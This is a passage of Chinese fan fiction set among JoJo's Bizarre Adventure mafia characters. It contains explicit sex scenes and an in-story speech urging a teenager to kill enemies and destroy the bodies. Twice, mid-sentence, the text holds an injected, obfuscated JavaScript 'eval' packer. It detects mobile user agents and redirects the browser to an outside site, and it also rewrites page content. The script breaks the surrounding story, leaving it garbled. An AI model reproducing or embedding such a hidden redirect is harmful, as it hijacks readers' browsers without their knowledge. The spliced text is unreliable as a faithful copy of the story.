于是我直接推门而入,和他面面相觑,他瞪大眼睛,那双美目在朦胧的水蒸气中愈发诱人了,他的声音带着点沙哑:“你怎么进来的?你进来做什么。” 呵,明知故问,欲擒故纵。 我靠近他,他往后退了半步,花洒撒下的水滴顺着我的头顶流了下去,粘湿了我的衣服,他死死地盯着我的眼睛,仿佛下定决心不会往其它地方看。 装啥呢。又装起来了,你倒是看啊,就我刚刚感受到的那个硬度来看,我可不信你两眼空空,心无杂念。 我上下打量着他不着一缕的身躯,重点在关键的作案工具上,不错,不错。 在我的眼神侵略下他的肌肉有些僵硬,我抬起手一把环抱上他的脖颈,一手往下:“雷欧,你没锁门,所以我进来了。” 他没说话只是发出了克制的嗯声,想要抓住我捣乱的手。 有些温热的水顺着我俩的皮肤往下,我笑着凑到他耳边:“衣服被淋湿了好不舒服,你帮我脱掉好不好?” 他没有立刻帮我褪去衣服,而是把头一侧,开始吻着我,他呢喃着:“会不会太快了?我以为你在日本那边长大,会更喜欢温吞点的方式。” ……就因为这,你把我赶出去?那你怎么不说他们日本人还爱ntr呢。 我当然没说话,要真说出来了,那气氛不就没了吗。 我只是用手攀附上他的肩膀和臂膀。他的肩膀上的水没有擦,有些湿热,我动手摸了摸他的滚动的喉结,说:“但我很想要你唉?” 他好看的灰紫色眼睛紧缩了一下,笑了起来,他笑起来的样子像一只刚刚达成目的的矜贵的布偶猫,慵懒又富有侵略感 他顺着我的下巴,脖子,锁骨,胸口……一路留下细密的吻,一手撑着我的腰让我凑近点,一手慢慢扒拉着我的衣服。我被他的头发蹭得有点痒,推了推他的脑袋,但他却仰起头,突然伸出舌头舔舐我的手,呢喃着:“你用的什么沐浴露?” “啊……嗯……是同事送我的。” “同事?”他突然停止了动作,拧紧好看的眉头:“是那个金发的骚男人?” ……你俩半斤八两吧,你这个每天涂口紫还化眼影的家伙。 我没说话,心虚地垂下眼帘,主动抬起头,亲了亲他的下巴:“是他,怎么了?” 他的眼神有些锐利,不知道为什么我感觉我的良心有点刺痛,哎哟,我的良心你不要在不该出现的时候出现啊! 他看着我湿漉漉的发丝,叹了口气,转过身从柜子里翻出一个毛巾,给我擦头:“你……” 他突然又不说话了。 我抓着他揉着我发丝的手,努力不让自己去盯着某个很显眼的东西:“我怎么了?”我把脸靠近他的手心,蹭了蹭,亲了亲他的食指。 他手指真长啊,不错不错。就是有点粗糙,不过应该是好事吧? 他深吸一口气,扣紧我的双手:“那我们现在算是什么关系呢?” ……我靠,这是送命题啊!送命题来了! 此刻我的脑内有两个我在打架。 禽兽版的我:睡一觉的关系啊,不然还能是什么,快点推倒他啊,别废话了。 有点良心的我:不,这个时候应该回答恋人关系。 禽兽版的我:你疯了吧。能够打炮就行了,你还和他恋爱。 有点良心的我:你太蠢了,他这么问肯定是担心你只是玩玩他!要是不回答恋人,他肯定要把你赶出去! 禽兽版的我:多撬一次锁的事,他再不从就把他绑了。 有点良心 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“我爱你。”他说,“从第一次看到你站在楼梯那安慰那对老夫妇时,我就看到你了,你可能没有看到我,但我想说……” 我把食指竖起,贴在他的想要扒拉个不停的小嘴前:“我也看到了你啊。雷欧,你的眼睛很漂亮,我很喜欢……” 我把我的右手贴上他的左胸,感受他逐渐凌乱的心跳,拉着他的头,吻了过去:“能够心意相通是很好的事情不是吗?我亲爱的雷欧。” 他侧过头,避开我的亲吻:“可你喜欢多少人呢?你不能说这样狡猾的话,你的话里可以钻的空子太多了。” 可恶,被发现了……非要让我说是吧,好吧,我说就是了,可恶。 我叹了口气:“我以为我们已经是恋人了,原来你不是这样想的吗?” 他错愕地看着我,好像根本没想到就这么轻而易举便从我嘴里听到了“恋人”这个词语,他有些没缓过神,动了动唇:“你的恋人……” 还有完没完了!你这个贞洁男,到底给不给我上啊! “就是只有彼此的恋人啊,难道你不是这么想的吗?”我委屈地说,“我以为我们是心意相通的,难道是只有我一个人自做多情吗?我以为……” 这次,他没多说话了。他靠了过来,在我身上落下如暴雨般猛烈的吻,明显比之前要更投入了,看来我赌对了啊。 我还是有点脑子的嘛。嘻嘻。 在他有些粗暴的准备扯开我的扣子时,我握住他的手:“你看我的内衣好看吗?缎面的哦,我觉得超级漂亮。” 他嗯了一声,没有解开我的内衣扣,而是顺着小腹往下…… 我有些紧张地想要抓住他的发丝,却发现他的头发太短浅了,还有些扎我腿,只能轻轻推推他的脑袋。他微微昂起头,灰紫色的眼睛中闪着狡黠的光,他闷声笑着,我感觉我脸上有点烧烧的了。 “你头发没擦干。”他突然说,“你会着凉的。” 但我没心思管那么多了,我等够久了,不能再等了!我的双眼都雾蒙蒙的,可能是爽到了,也可能是水汽,哼声:“哦别管了,我们出去吧,我有点缺氧。” 我胡乱地抱着他,希望他能明白,我不想出力了,该他了……额虽然我也没多少出力哈。他也很识趣地抱起我,带我来到沙发上,俯身压下来,双腿抵着我的腿,一双有些茧子的手蹭着我的肌肤,我有些喘不过气。 “让我靠墙吧。”我说,“你直接压过来有点沉。” 他点点头,轻吻着我的后颈把我扶到沙发上,我扒着沙发的靠背感受着身后传来的热气。 他亲吻着我的鬓角:“你的身体好凉。” “嗯……是的,我体温比较低……雷欧你好温暖……”我敷衍地回答,用力想要抓住沙发的靠垫。 他立刻抓住我滑落的手,和我十指相扣,再轻轻吻上我的手背:“再叫一次我的名字,好吗?” 21.黄金体验 一个字:爽。 两个字:真爽。 三个字:太爽了。 前期磨合有点难评,不过好在这小子够上道啊,我都爽昏了。 虽然第二天清醒起来发现自己莫名其妙多了一个对象,这点让我有点无语,但总体来说我还是很满意的。 尤其是我可以肆无忌惮地赖床,一起来就有早餐吃,还是我很爱吃的店子里的三明治,我更爽啦! 打个满分。 “好吃吗?”阿帕基手撑着脸,坐在一边看我,一双紫眼闪着细碎的光。 “好吃!我强推这家店的布朗蛋糕。” “那下次我尝试复刻一下。” “嗯?”我侧过头看向他,“这是你做的?有点美味。” 他眼底藏着得意洋洋的笑意,我得承认我被他的笑给诱惑了。 好吧,看在美味的□□和食物的份上,那我就不拍拍屁股走人了。你转正吧。 正当我准备在午后美丽的阳光下多欣赏欣赏我邻居漂亮的身体时。我邻居把我手机丢给我:“今天早上你的手机响了很多次,所以我帮你接了。” 我打开一看,差点没把手机捏碎成渣渣了。 但是不行。我在我邻居眼里还是个虽然能够狠揍黑手党但依然柔弱的普通女大学生呢。普通人会把手机捏碎成渣渣吗?当然不会! 所以我只是看着这上面一串的“没用的镜子”努力让自己不要伤害乳腺,并拼尽我毕生的所有力气,露出一个教科书式的无奈中带点撒娇的笑容:“哦天呐,是我的同事,真讨厌,明明是周末。” 阿帕基:“你到底做的是什么兼职?他一上来就骂你……嗯。” 我用脚趾头想都能知道伊鲁索这个瘪三又骂了我什么,翻了个白眼:“这个同事和我关系不好,他不是很喜欢我。我其它同事……嗯只能说还行吧,虽然我很多时候不太能认同他们的一些观念和行为处事,但毕竟大家都被领导分到了一起工作,也就只能这样了。我把工作和生活分得很开的。” “听上去你不太喜欢这份工作。” 我叹了口气:“因为它会让我去做一些我不想做的事啊。不过这份工作对我很重要,所以我绝对不会辞职的!” 阿帕基还想说些什么,好在这时,伊鲁索又打电话了。 来得正好,我要编不出来了。 我比了一个接电话的手势,跑到阳台:“有事?” 他咄咄逼人:“呵你□□懵了?怎么,在男人身下像条母狗一样渴求,电话都接不了了?你他妈的能别盯着……” 在他说出更难听的话前,我打断:“我说过很多次了,伊鲁索,我很讨厌你那副不尊重我的嘴脸。你再多说一个字,我就把你舌头扯出来塞你菊花里。你打电话干嘛?” 电话里传来了憋气声,良久,伊鲁索语气不善地说:“我四个小时前就给你打电话了,今天是贝西的生日,里苏特说让我通知你来给他庆生。” “几点到?” “今晚六点。” 我看了看手表,现在是三点钟,去收拾收拾然后买个礼物,差不多就可以过去了:“好,我会准时到的。” “你顺便再去拿一下蛋糕。” 他们黑手党过生日也要吃蛋糕? “哪家店?” 伊鲁索报了地址和店名,我沉默一会,有些发笑道:“那里离你家更近吧?你让我去拿?耍我呢,我要跑三四个街区才能到那。” 没等他说话,我不耐烦地说:“你自己去拿,你有镜中世界移动起来很快。我不会去拿的。不说了,忙,晚上见。” 说完我立刻挂断了电话。在阿帕基探究的眼神中,叹了口气:“我今晚要去给一个同事过生,现在我要去选礼物。” “我送你?” 让警察知道黑手党暗杀小队的据点,别吧。 “不用,我去精品店给他买个音乐盒算了……” 我没有生日,所以阳莱和直子会为我过领养日。虽然对我来说这是个可有可无的庆祝活动,但看到她们很用心地为我准备派对,我就算是颗石头也会感到开心吧。只是我确实不太擅长给人庆祝生日。 我收拾好东西,正准备拉开门时,电话又响了。 是直子。我接通了电话:“喂,直子,你们的罗马旅行如何?” “挺好的,但现在乔鲁诺出了点事。蕾娜塔你去学校帮个忙好不好?” “……他怎么了。” “唉好像是被留校察看还是什么,总之校长让他把家长叫过去,你也知道他家的情况,所以他只能给我们打电话了。我俩还在罗马赶不过来,你去看看吧。” 我深吸一口气:“好。我会去学校看看的。” “唉你别凶他啦。这孩子给我们打电话的时候不停说道歉,生怕麻烦了我们……” 可事实上,他就是麻烦啊! 我咬牙看向阿帕基:“你有轿车吗?” “有。” 于是我慌忙地在路上买了个旋转木马音乐盒,让店员精心包装好后,又慌忙地赶到了乔鲁诺的学校。 “需要我陪你进去吗?”阿帕基拉住我的手。 我摇头:“不用,多谢,你先走吧!”然后连忙拨打了乔鲁诺的电话,一路狂奔到了校长办公室。 他最好在两个小时内结束!不然我就要迟到了! 这个小混蛋。凭什么我这个花季美少女要在大好的周日时光去给他收拾烂摊子啊! * “乔鲁诺一直都是个很好的孩子,学业优秀,平时也很乐于助人……” “哦,我没有为他美化形象。您随便去问任何一个教职工或者学生,大家都会说,乔鲁诺是个好孩子……” “但这次他确实是殴打了几个高年级的同学,这并不好,所以我叫您过来……” “……” 我懒得听这个校长的客套话了,直截了当地说:“女士,我赶时间。请您直接说他要受到什么惩罚,或者我需要赔多少钱吧。” 敢让我的钱包亏损的话,臭小子你就等着余生都得给我打工还债吧。 “这事并不好解决,小姐,他们是热情的人。对方声称乔鲁诺侮辱了他,但如果把他的手切下来便会放过你们,我的建议是……” 校长焦头烂额,似乎很想替我们想出一个两全其美的解决方法,既不用让我们被黑手党打击报复,也不用让乔鲁诺割下一只手……但显然,没有。 哦不,现在有了。 因为我也是热情的人。 我掏出热情的徽章举起来给校长看:“你认识这个吧?” 校长的瞳孔紧缩了一下,端正了脸色。我把我的电话都给她:“把他们的联系方式给我吧,我找他们私下解决。放心,不会给学校后续添麻烦的。” * 我一推开校长办公室的大门,就看到了在门外站得笔直的乔鲁诺,他不动声色地观察着我的脸色,让我有些不爽。 “走吧,你今晚别住学校了,万一他们半夜来报复你就完蛋了,来我家住。别拒绝我,我讨厌别人拒绝我。” “好。”他应允了,突然靠近我伸出手,,我正准备避开—— “有只虫子。”他拎着一直幼小的白色飞蛾,一双碧汪汪的眼睛含着浅浅的笑意。他稍微长高了点,现在只比我矮那么一点点了。 我抿了抿唇,把手插进了包里,迈开步子:“走。” 乔鲁诺马上跟上我的步伐,我看了看时间,放慢脚步,防止他跟不上。他感谢我后说:“抱歉,给你添麻烦了,我没有想到直子阿姨会直接给你打电话,我最初是想……” “过程和初心不重要,结果才最重要。你麻烦阳莱和直子就可以吗?”我很不满地打断他,“以后这种会让她们担心的事情交给我就行了,我不是给你我的联系方式了吗?你把那张纸条当摆设啊,你知道有多少人想要我联系方式都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他趴在地上喘气,艰难地爬起来,眼眶有些水润:“我之所以想偷你的徽章,是因为我偷听到了你和校长的对话,你是热情的人?” 我点点头。他闭闭眼,仿佛下了个决心,拍了拍胸脯,正声道:“我乔鲁诺.乔巴纳一直有一个梦想,我想成为流氓巨星!” ……啥? 流氓巨星? 完了,是年龄代沟。 我嘴角抽搐:“可你偷我徽章也没用啊。” 可能是因为刚刚宣誓了他的梦想,乔鲁诺看上去定力十足:“我只是想看看,会还给你的。你说的替身是什么?” 我叫出来约旦河:“这是我的替身,它叫约旦河。你也有吧?” 乔鲁诺迟疑着,他身后突然出现了一个通体金黄的替身,那个替身以极其亲昵的姿态贴着乔鲁诺:“如果你说的替身是指它。它叫黄金体验。” 他说着拔下根他的头发,然后下一秒,这根黑发就变成了一朵雏菊。 “黄金体验?”我咀嚼着这个替身的名字,看着乔鲁诺手里绽放的雏菊:“这是个好名字。” 我从他手里拿起那朵白色的小雏菊,花梗在我指尖打转:“这就是你的替身能力,将非生物转变为生物……创造生命吗?真是浪漫的能力。” 他没有回应我。我耸耸肩,把雏菊插到了他的耳边:“鲜花配美人。不过最好不要暴露你的替身能力,也不要离替身使者太近,有些替身使者可是很糟糕的。” 他微微点点头,仿佛心有余悸般摸了摸脖子,悄声问:“如果我刚刚攻击了你,你会——” “把你干趴下。运气好你会昏过去,运气不好你会死。”我很直白地说,“我尝过教训。现在我的座右铭是,对敌人的仁慈就是对自己的残忍。” “如果你真的想成为……流氓巨星的话,你也要学会对敌人残忍。生命固然可贵且值得珍惜与尊重,但是我的敌人除外。” 我眯起眼睛看着他:“比如说那几个威胁你的黑手党,在他们有意图杀死你时,哪怕他们没有明确表明,只是有这个迹象,你也应该果断杀死他们,再用你的黄金体验毁尸灭迹,虽然后续可能会受到热情的追查,但有我在问题不大。” 乔鲁诺认真地听了,没有表示赞同也没有反对,反问我:“你为什么愿意帮我做这些?” “因为我,”我说着摊开手,露出一副慈悲为怀的表情,“是一个超级无敌善良的好心人啊。” 22.不小心睡了同事怎么办 每当遇到一些很操蛋的事情的时候,我都会由内而外对这个世界产生一种深深的荒谬感。 三天前,我结束了第一次热情老板大调查,什么也没查到。只能拖着疲惫的身子准备离开这个下三滥的小巷,当我转过转角时,我看到了让我非常意外的一副画面。 我邻居在接受贿赂,看样子是一个嫖客行贿让我邻居不要抓走他。 一般来说,我不会关心这种事。 虽然我邻居曾对我说过,他做警察是为了贯彻内心的正义。但人是会变的,大部分人最后都不会坚守初心。 我对他的改变并没有什么意外,毕竟大部分人的决心便是这样可以被轻易撼动的。人类的意志便是这样不堪一击。 包括乔鲁诺,他告诉我他想成为流氓巨星,但五年后呢,十年后呢?他还会坚持这个梦想吗?恐怕不需要一年,他就会放弃这个梦想。所以在他追问我任何关于黑手党的事情时,我一个字也没听。 我太疲惫了,于是我想也没想便问:“你在做什么。” 我发誓我没有任何道德谴责的意思。 我的道德都那么流动,充满弹性,伸缩自如,我没事谴责别人的道德干嘛? 但阿帕基不这样认为。他发火了,像是被我戳中了什么隐秘的心思一样,他像一头进入穷途末路的困兽般,只能靠着怒火掩盖他内心的脆弱与不堪。 我很想告诉他,没必要。我可以理解的,我是一个很会包容他人的人。 就算他背弃了过去的自己又如何,就算他深陷自我的陷阱里苦苦挣扎又如何,就算他因为信念崩塌而痛苦又如何,就算他往后要成为令人作恶的虚伪的人又如何? 这都和我无关。 于是我这么说了:“没关系的,阿帕基,这不重要,我们回去吧。” 他停止歇斯底里,红色的血丝布满他的眼球,他的面部肌肉抽搐着,在听到我这番话后,他的眼底仿佛更加绝望了。 我突然感觉,他的眼睛也没有那么好看了。 然后,他一声不吭地跟着我回去,在我开门时,他沙哑着嗓子说:“其实我一直都知道你并不在意我。” 我拿出钥匙的手顿了顿,没有否定他的话,等待他继续说。他又想说什么,又是没什么意思的感情戏码吗?有点烦。 “一直以来,你的妥协,你的包容,你的让步,一切都是因为你不在意,你根本没有把我,或者把其它任何事物划分到你的世界里……” 他在说什么废话。 虽然他的表情好像很严肃,但我实在懒得听他的那一长串发言。问就是我现在想睡觉。 好困啊。 “你没听我说话吧?” 他这一声彻底拉回了我的注意力。 他用一种陌生的眼神看着我,有些心碎,又有些失望,还有些讥讽:“你真的是一个很傲慢的人。” 我叹了口气:“那你想让我怎么样,在你刚刚歇斯底里质问我的时候,把你骂个狗血淋头?” 他没有回答我。 只是单方面终结了这段关系。 “他怎么敢。” 又脱靶了。 我暴躁地准备换把枪,普罗修特走过来抓住我的手臂:“你太浮躁了,今天的训练到此为止吧。” 我把手枪塞给他:“我不明白,他怎么敢说我傲慢?” 普罗修特用他那双湛蓝的眼睛审视着我,从包里抽出一根烟:“抽一根试试?” “滚。” “这个词你应该对刚刚那个你说。”普罗修特冷笑,“我认识的蕾娜塔可不会因为一个可有可无的男人的分手宣言就气整整三天。” 他说得没错。我为什么会这么生气呢?因为他说我傲慢? “只能说你还不算了解我,我就是很生气。”我抓起我的包,瞟了眼手表:“算了,想不明白就不想了。回家睡大觉。” 普罗修特直起身子,站了起来:“我送你?” “我骑摩托车来的。” 我低下头准备扣风衣的扣子时,一双擦得锃亮的方格暗纹黑皮鞋踩着“哒哒”声进入了我的视野,最终停在了离我脚尖只有五厘米的距离。 我抬起头,发丝蹭过了普罗修特敞开的领口,他的胸脯微不可查地上下起伏着,带着点烟草味,一头灿烂的金发在灯光的照耀下有些刺眼,卡在脖子上的深色的项圈夹在他性感的的锁骨和喉结之间…… “你想坐我的车后座吗?”我伸出手,帮他把脖子上的项圈理正,“梅洛尼坐过,他表示非常棒。不过加丘坐了之后说我是个疯子,迟早会出车祸。” 普罗修特笑了,我这才发现他上牙有些许凸出,显得他有些凶相。他看上去像个蜘蛛精,可能是因为他长得太漂亮像个精怪,也可能是因为他那身紧致的西服上的蛛网图案。 那双湛蓝的玻璃眼睛微微弯着说:“黑手党确实很擅长制造车祸。” 黑手党擅不擅长制造车祸我不知道,但普罗修特挺擅长扣人的。 ……额好吧,这两句话的转折关系并不成立。 我靠着沙发喘气时,他俯下身来从我背后抽出一张纸擦了擦手,问我:“你没真的爱上那家伙吧?” 我抱上他的脖颈,扯了扯他的choker,有点性感还是不把它取下来吧,漫不经心地问:“这重要吗?” “这会决定我今晚的卖力程度。如果你心有所属,那我就只顾自己爽了。”他扯开我玩弄他项圈的手,捏了捏我的指尖。 我靠,他还不如直接威胁我说,你把你前对象忘干净吧。 我摇摇头:“当然没有,像我这样的女人是不能坠入爱河的。” “为什么?”在那紧致的choker上方,他的喉结滚动了一下,捏住我的手的那双手上能够隐约看见他青色的血管。 我看着他微微低下的头,发现我买的灯实在太完美了,在这个暖黄色的灯光照耀下,普罗修特就像是一朵正在盛开的玫瑰。 他的脸是具有攻击性的美,像玫瑰一样带刺。他的美却不是那种雄雌莫辨之美,更不是少年人的高洁不可侵犯之美。他的美是一颗已经成熟的苹果,静静地挂在树上等待着那条将要吞掉他的蛇。 尤其是他点烟的样子,我不太喜欢烟味,但是烟雾中的美人有着一种别样的纸醉金迷感。烟雾缭绕下的他有着一种让我想要将他蹂躏,想要将他占为己有的魅力。带着迷离,像一壶陈年烈酒。 我回过神来,发现他的双腿已经抵着我了。 他开口,声音很低,像是在我耳边轻声询问一样。 他说:“为什么不会坠入爱河呢?” 我理所当然地回答:“因为所有故事都告诉我们:女人坠入爱河不会有好结局,尤其是当她想得到的太多的时候。” 我看着他垂下的眼帘,这个角度能够清晰地看见他高挺的鼻梁,棱角分明的下巴,还有他那长长的像是蝴蝶翅膀般的睫毛,他一眨眼,好像那蝴蝶就要飞走了一样。 我想他不仅仅是苹果,也是蛇。 他俯视着我:“哦,那你想得到什么?” 我没说话,只是一只手扯着普罗修特的项圈,另一只手贴上他的肩膀,然后吻了他。比起吻,或许用掠夺般的啃食更加贴切。 然后我一个翻身,跨坐在他的腿上,推倒他,一边和他唇舌相接,一边注视着他长而密的睫毛。他的舌头带着炽热的气息,口腔内有着淡淡的烟味,有些发苦。这让我想到了我吃的黑巧克力。 我直起身子,俯视着他被我咬的微红的嘴角说:“你看上去真可口,亲爱的普罗,因为你,我快要喜欢上金发了。” 我撩起他耳边的碎发,和他那双深蓝色的眼对视,那一片蓝上仿佛罩上了一层浓雾,透过那层雾,我能够看到他的欲望。 于是我吻上他那长长的诱人的睫毛,将那片雾藏匿起来,喃喃着:“你真美……” “这句话应该我说才对。不过情话你应该听腻了吧,不知道有多少人对你说过。”普罗修特和我十指紧扣,他一手拉过我的手,在我的手背上留上轻轻一吻,另一只手按过我头,让我的耳朵贴在他的左边的胸肌上,“来 ,听听看我的心跳,听到了什么?” 我恶趣味地咬了他一口,他发出了一声闷哼,抬住我头的手微微捏紧了一下。我抬起头吻上他的下颚线,被雕刻的完美的下颚线,多么英俊的一张脸啊,要是不是金发就更完美了。 我将手伸进他的西装领口,轻轻拨弄着他。 普罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243525|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修特带着微微的喘息声:“我没想到你是这种类型。”他一边说,一边认真地认真的把我上衣的前两颗扣子解开,然后将头埋进来,时重时轻地啃咬着我的锁骨。 我并没有感觉到痛感,于是我将手插在他扎的很用心的辫子里,我一直很好奇他的头发到底是怎么编的…… 然而他没有给我更多的时间去探究他的辫子了,他脱去外衣露出平时被西装所掩盖的身体,我欣赏着他如同阿波罗般完美的身材,用我冰凉的指尖去触碰他逐渐变得滚烫的身躯。 在他忘情般坠入我的怀中时,我知道我该摘取这颗成熟的苹果了。 * 我很喜欢普罗修特的喘气声,很性感。主要是他不会刻意去压抑。所以即便他后面嘴上说着带我去清洗,实际上却在浴缸和洗手台上又拉着我做了,我也没有生他的气。 而且他事后清理的很到位。 哇,这就是年上的魅力吗? 第二天他醒的很早,甚至还做了早饭,我觉得他可不是那种会给女人做早饭的类型,于是我问他:“是不是昨晚把你爽到了?” 他俯下身亲了亲我的眼角:“你更爽吧。” 我没理他,只是吃着他煎的鸡蛋。吃饱了后,我感觉我还是很困,对普罗修特说:“我等会要继续睡,你帮我把盘子洗了就可以走了。” “看来你学的很到位,都不需要我教你,你就知道事后拍拍屁股就可以走人了。”他阴阳怪气。 我摸了摸他的胸大肌,笑眯眯地说:“因为我知道大哥很好嘛。” 我拿了点钱塞到了他敞开的领口里,让他拿去打车。他勾起嘴角靠近我的耳边低声说:“下次你应该塞我的皮带里……” “好哦。”我一个猛冲就扑到了我柔软的床上,哇塞这家伙还换了床单吗?算他体贴。转头看着在卧室门口神色不爽的普罗修特:“下次我多塞点,别生气啦,我是个很大方的人。” 然后我就昏昏沉沉地继续睡了,等我起床的时候,已经是中午了,普罗修特早就走了,只留下了一束还沾着露珠的玫瑰花。 本来我想好好在家里休息下的,摘取了一朵漂亮的玫瑰后,我心满意足,但里苏特显然希望我能够参与晚上的分钱。 希望普罗修特没有继续穿开胸衣。要是在上司面前欣赏我的战果,我会失去一切欲望的。 通俗来说,就是——我会萎。 * 好消息是普罗修特穿了高领打底衫。 坏消息是霍尔马吉欧可能猜出来了,他大声叫着;“真是春风得意啊普罗修特,看看你那副嘴脸。” 我假装没有看到普罗修特审视的眼神,坐到了梅洛尼旁边。 我可不是想和他划清界限!好吧,有一点。虽然我确实很爽,但我可不想让他知道我是这么想的…… 这种精致的男人心眼子很多的,我可不想被他咬死了。 而且往常我也是和梅洛尼,加丘坐一张沙发的,我觉得应该是按照年龄划分,同龄人就应该待在一起嘛。霍尔马吉欧会和普罗修特坐在一起,贝西应该只是跟着普罗修特坐。 至于伊鲁索?那家伙死装了,喜欢坐单人沙发。 “你身上有普罗修特的味道。”梅洛尼突然说,“你和他做了吗?做到哪个地步了?” 一时间,我不知道该说他为什么会知道普罗修特的味道,还是该回答他的问题。 一般人我会先问他为怎么闻出来的,但对方是梅洛尼,所以我老实回答:“做完了整个流程,你怎么看出来的?你不会在我身上安监控了吧。” 他上次在我手机上安定位器这事我还没忘记呢。 梅洛尼说:“他总是喜欢喷的那款香水,你身上有同样的气息,还有…嗯,他在你脖子后面留了个很重的齿痕?你知道吧,他的上牙稍微突出一点,咬下来的痕迹会不一样……你是怎么同意的。” ……普罗修特竟然在我脖子后面留了个咬痕吗?没注意,我只注意到了他在我前面留下的齿痕……不过我也不讨厌啦,这种像是标记的行为很可爱。 而且我也撕咬了他的胸,他的胸上布满了我凌乱的吻痕和齿痕,看上去色气极了,但也害的他不能穿开胸衣了。 所以我俩扯平。 23.岸边露伴在意大利 梅洛尼问我:“他穿高领衣服是因为想遮挡痕迹?” 我点点头。不然呢?难道他突然想走禁欲人夫风吗?别吧哈哈。对人夫不感兴趣,谢谢。 或许是我和梅洛尼一直在那里说悄悄话完全没听里苏特讲话,加丘烦躁地啧了一声,站起来,插到我们两个中间,一屁股坐下,硬生生分开了我和梅洛尼,他低声警告,看上去快要发飙了:“你们两个能不能有一次认真开会!” 梅洛尼一把捞过加丘:“这家伙在气我们两个关系好,不带他呢。” 里苏特终于忍不住开口了,他黑色的眼珠子扫视着我们三个:“你们三个还有什么异议吗?” 眼见平白无故被牵连的加丘快要发飙了,我和梅洛尼一起协力,左右控制住他,齐声回答:“没有!” 分完钱后,梅洛尼拉住我的手让我别走,把我拉进他房间。他推着我坐到他凳子上,问我:“为什么你不先和里苏特做?我以为你很喜欢里苏特。” 他拉我过来竟然不是为了说服我偷偷用娃娃脸,而是为了这种事? 我有些不知道该说什么,扶额:“不能和上司上床啊。他是队长,也算是上司吧……感觉怪怪的。” 梅洛尼:“说真的?” 我挣扎了一下,说了实话:“……他长那么高大,那个地方肯定很夸张。再加上他看上去也不是很会体贴人的那种类型,做的时候痛感肯定大于爽感吧,我可不想被贯穿啊……” 梅洛尼发出了剧烈的笑声。 我让他别笑了,他比了一个拉拉链的手势,问我:“你觉得和普罗修特做的时候,哪个体位最舒服。” 我回忆了一下:“还是女上吧,他脸长的好看,不看白不看。” “我也很好看。”梅洛尼说着摘下了眼罩。 非常自然地说出了很自恋的话呢。不过也是,他确实很漂亮。 他的嘴唇有些苍白,眼底乌青,或许是因为经常熬夜。整体五官偏向秀丽较为柔和,但或许是因为他有些癫癫的性格影响了他的面相,他看上去有点像个精神不正常的人。他的眼睛里什么情绪都没有,看上去像个死人,但是是个好看的死人。 我捏住他的下巴,学着他平时那样,左看右看,上看下看,然后点评:“你也好看,但和普罗修特那种熟男类型不一样。” “我什么类型。” “我不知道啊,我就知道熟男和美少年这两种类型,我又不喜欢不给人分类。反正你两个都不是。总之你也好看啦,你们都很好看行了吧。” “最好看的是你,甜心。”梅洛尼把脸贴过来蹭了蹭我。 我:“哈哈,伊鲁索听了这句话肯定要反驳你。” “谁管他。”梅洛尼说:“我早就知道普罗修特想泡你了。你长的很漂亮,太漂亮了,那家伙一向喜欢漂亮女人。” 我:“哇,我还以为你对外貌没有感觉。” “我只是不关注而已。毕竟那没意思。” 我对他的说法很不屑。外表当然很重要啊!梅洛尼你这个没品的。 他说:“一般大家不都是会很喜欢的人才□□吗?你喜欢普罗修特。你要和他恋爱吗?” 我:“不是吧,我只是觉得他都明示成那样了,那做一下又不怎么样,反正我也不吃亏……我那么年轻又漂亮,当然要多玩玩啦。而且把所有有意思的事情都和爱情挂钩也太没趣了。” 我感觉今天的梅洛尼有些怪怪的了,转而问:“你为什么会关心这些问题,我以为你会更想问我们做的细节?” 梅洛尼露出了一副沉思的表情,最后决定坦白说:“加丘说你和我们不是一路人,迟早得散。我在尝试用普通人的思维方式去思考问题看待世界?这样或许还可以散晚点,因为我现在对你还很有兴趣。” 加丘,那个脑子有问题的家伙,背后蛐蛐我算什么啊? 我冷笑一声:“梅洛尼啊梅洛尼,这个世界上最重要的是有趣,你能够理解吧?正常人,普通人,好人,恶人……那些都不重要,三观,爱好还是什么其它的因素……都不重要,我认为把人和人链接在一起的是相处时所能带给对方的乐趣。我们是不是一路人,这不重要,你不需要做任何改变,你作为梅洛尼已经足够有意思了。” 梅洛尼安静地听完之后,马上问我:“做吗?” 我:? “做.爱啊,和我。”梅洛尼说着说着突然兴奋地站起来比划了,“虽然我对真的做.爱不感兴趣啦,感觉就是那样,但是或许和你实践一下也不错?更何况,无论我说什么你都会认真回答也太棒了……” 他兴奋地说了一堆,我保持沉默地听完后,淡淡地说:“可你这里有安全套吗?” “有啊。”他说着拉开了一个大抽屉,里面装着令人瞠目结舌的各种玩意,“我之前想研究一下,所以买了所有牌子的所有口味,哦我还买了些道具,你想试试吗?” 这我可就来劲了! 我握住梅洛尼的手,诚挚地说:“那是当然,我们来尝试点新东西吧。” …… 梅洛尼和普罗修特完全不一样。普罗修特就像是正常的□□,梅洛尼一边做还要问我感想,不是调情的那种感想,是非常像调查研究的感想,比如不同体位的深入程度和观感……像是在搞实验,给我一种很新奇的体验感。 但重要的是他很乐意让我去开辟他,并且还会发表很露骨的感想。 哇塞。 完事后,梅洛尼像他之前抚摸我的脸部一样,认真抚摸我的□□,并很客观地点评了一下普罗修特留下的痕迹:“哇,甜心,他太激烈了吧。” 我没精打采地点点头,不知道为什么,我为什么有种被榨干的感觉呢…… 不行啊,女人不能说不行的。 梅洛尼抱着我蹭了蹭,又突然伸出舌头舔我的锁骨到胸口,他说:“和你链接在一起的感觉真好……真想把你和我缝在一起,这样我们就永远在一起了。” “那样的话,梅洛尼要不了多久,就会每天每夜都想杀掉我吧。”我靠在他的胸口,轻声说着,“永远在一起这种话……真像一种诅咒。” “也是哦。”他靠着我的颈窝,吸了一口,“那还是现在这样最好。 * 没忍住睡着了,还睡过头了。 我竟然留宿了。 还很抓马地是留宿在梅洛尼的房间。 